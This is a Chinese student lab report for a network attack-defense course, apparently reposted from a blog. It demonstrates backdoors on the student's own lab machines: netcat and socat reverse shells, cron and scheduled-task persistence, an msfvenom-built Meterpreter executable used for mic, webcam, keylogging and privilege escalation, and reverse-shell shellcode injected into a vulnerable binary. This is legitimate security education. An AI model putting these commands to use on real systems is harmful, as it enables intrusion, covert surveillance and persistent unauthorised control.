码迷,mamicode.com
首页 > 其他好文 > 详细

2019-2020-2 20175322周弋鸿《网络对抗技术》Exp2 后门原理与实践

时间:2020-03-18 13:25:01      阅读:78      评论:0      收藏:0      [点我收藏+]

标签:写入   问题   code   conf   安全软件   机器码   组合   hot   了解   


1.后门概念

  • 后门就是不经过正常认证流程而访问系统的通道。

2. 常用后门工具

2.1 NC 或 netcat

2.1.1 Win获得Linux Shell

  • 在Windows下使用ipconfig查看本机IP
    技术图片

  • 使用ncat.exe程序ncat.exe -l -p 5322打开监听,并检查windows和linux的连通性
    技术图片

    技术图片

  • 在kali中反弹连接Windows,ncat 192.168.132.1 5322 -e /bin/sh,使用-e选项执行shell程序
    技术图片

  • windows下获得一个linux shell,可运行任何指令,如ls
    技术图片

2.1.2 Linux获得Win Shell

  • 在kali中先安装net-tools,然后才能使用使用ifconfig命令查看IP
    技术图片

  • 打开监听nc -l -p 5322
    技术图片

  • 在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.132.138 5322
    技术图片

  • kali成功获得Windows的命令提示
    技术图片

*2.1.3 Mac获取Win shell

*2.1.4 Win获取Mac Shell

*2.1.5 Mac获取Linux Shell

*2.1.6 Linux获取Mac Shell

2.1.7 Netcat扩展知识

使用nc传输数据

  • Windows下监听5322端口,ncat.exe -l 5322
  • kali反弹连接到Windows的5322端口,nc 192.168.132.1 5322
  • 连接建立成功,双方可以相互传输数据
    技术图片

使用nc传输文件(将文件从kali传给Windows)

  • Windows下监听5322端口,并把收到的数据保存到file1.out中,ncat.exe -l 5322 > file1.out
  • kali 反弹连接到Windows的5322端口,nc 192.168.132.1 5322 < file1.in
  • 连接建立成功,Windows可以收到kali发来的文件
    技术图片

2.2 Meterpreter

  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
  • 典型的平台就包括有:
  • 参数说明
    • -p 使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

3.后门启动

3.1使用netcat获取主机操作Shell,cron启动

  • crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3
  • 最后一行添加58 * * * * /bin/netcat 192.168.132.1 5322 -e /bin/sh,意思是在每个小时的第58分钟反向连接Windows主机的5322端口
    技术图片

  • linux在58分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell
    技术图片

3.2使用socat获取主机操作Shell, 任务计划启动

  • 右击我的电脑,点击管理
  • 点击任务计划程序,再点击创建任务
    技术图片

  • 填写任务名,新建一个触发器
    技术图片

  • 新建操作,并在程序或脚本中选择socat.exe路径,添加参数一栏填写tcp-listen:5322 exec:cmd.exe,pty,stderr
    技术图片

  • 创建好后显示任务准备就绪
    技术图片

  • 到达21:25后,再次打开时,可以发现创建的任务正在运行
    技术图片

  • 自行弹出一个cmd窗口
    技术图片

  • 在kali中输入输入指令socat - tcp:192.168.132.1:5322,完成连接,获得windows shell
    技术图片

3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.138 LPORT=5322 -f exe > backdoor5322.exe生成后门程序
    技术图片

  • windows使用ncat.exe -lv 5322 > backdoor5322.exe,查看连接状态
    技术图片

  • linux使用nc 192.168.132.1 5322 < backdoor5322.exe传输后门程序,传输成功后windows会给出提示
    技术图片

  • 传送接收文件成功
    技术图片

  • linux使用msfconsole进入msf控制台,并键入以下命令:
使用监听模块,设置payload:use exploit/multi/handler
使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
linux的IP地址:set LHOST 192.168.132.138
使用相同的端口:set LPORT 5322
查看设置:show options
  • 进入msf控制台后的界面:
    技术图片

  • 输入指令后的界面:
    技术图片

  • linux使用exploit开始监听,并在windows中运行后门程序,linux成功获得windows的shell
    技术图片

    技术图片

3.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频
    技术图片

  • 使用webcam_snap指令可以使用摄像头进行拍照
    技术图片

  • 使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录
    技术图片

  • 使用screenshot指令可以进行截屏
    技术图片

  • 使用getuid指令查看当前用户,使用getsystem指令进行提权操作
    技术图片

3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • Exploit DataBase中搜索linux/x86 - Reverse下载反弹连接的shellcode并提取其中的机器码:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
  • linux使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
    技术图片

  • 使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中:
perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

技术图片

  • 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf,再开另外一个终端使用ps -ef | grep pwn1找到pwn1的进程号,之后启动gdb使用attach调试,使用disassemble foo查看ret的地址,设置断点,然后在另外一个终端中按下回车,再在gdb输入c继续运行
    技术图片

    技术图片

  • 使用info r esp查看栈顶指针所在的位置,并查看改地址存放的数据
    技术图片

存放的地址为0xffffd38c,计算出shellcode地址就是0xffffd38c+4,即0xffffd390

  • 在一个终端中打开msf控制台开始监听
  • 在另一个终端修改input_shellcode并使用cat input_shellcode;cat) | ./pwn1运行pwn1文件
    技术图片

  • 另一个终端得到shell开始运行
    技术图片

4.收获感想

  • 本次实验较为简单,但是比较好费时间。其中加分项可以借鉴之前实验一的操作流程,整个实验中没有太大的难点。通过本次实验,我了解了后门的基本原理,自己动手操作体验,感受到了后门的危害性,希望在日后的学习过程中能够学到更多知识。

5.问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?
    • 在非官方网站上下载应用程序,这些程序有可能会绑定某些可执行文件,从而留下后门。点击钓鱼网站的链接之后,可能会有可执行文件下载到电脑中,留下后门。
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?
    • Linux:Crontab定时启动;注入shellcode。
    • Windows:新建任务计划;修改注册表项,设置后门程序自启动;用户执行带后门的执行文件。
  • (3)Meterpreter有哪些给你映像深刻的功能?
    • 通过后门控制被控主机的shell,可以获取目标主机的音频、摄像头、击键记录等功能。
  • (4)如何发现自己有系统有没有被安装后门?
    • 使用安全软件,对系统进行定时检测,查杀恶意文件。
    • 使用任务管理器等系统软件查看后台是否有异常程序。

2019-2020-2 20175322周弋鸿《网络对抗技术》Exp2 后门原理与实践

标签:写入   问题   code   conf   安全软件   机器码   组合   hot   了解   

原文地址:https://www.cnblogs.com/zyh5322/p/12516752.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!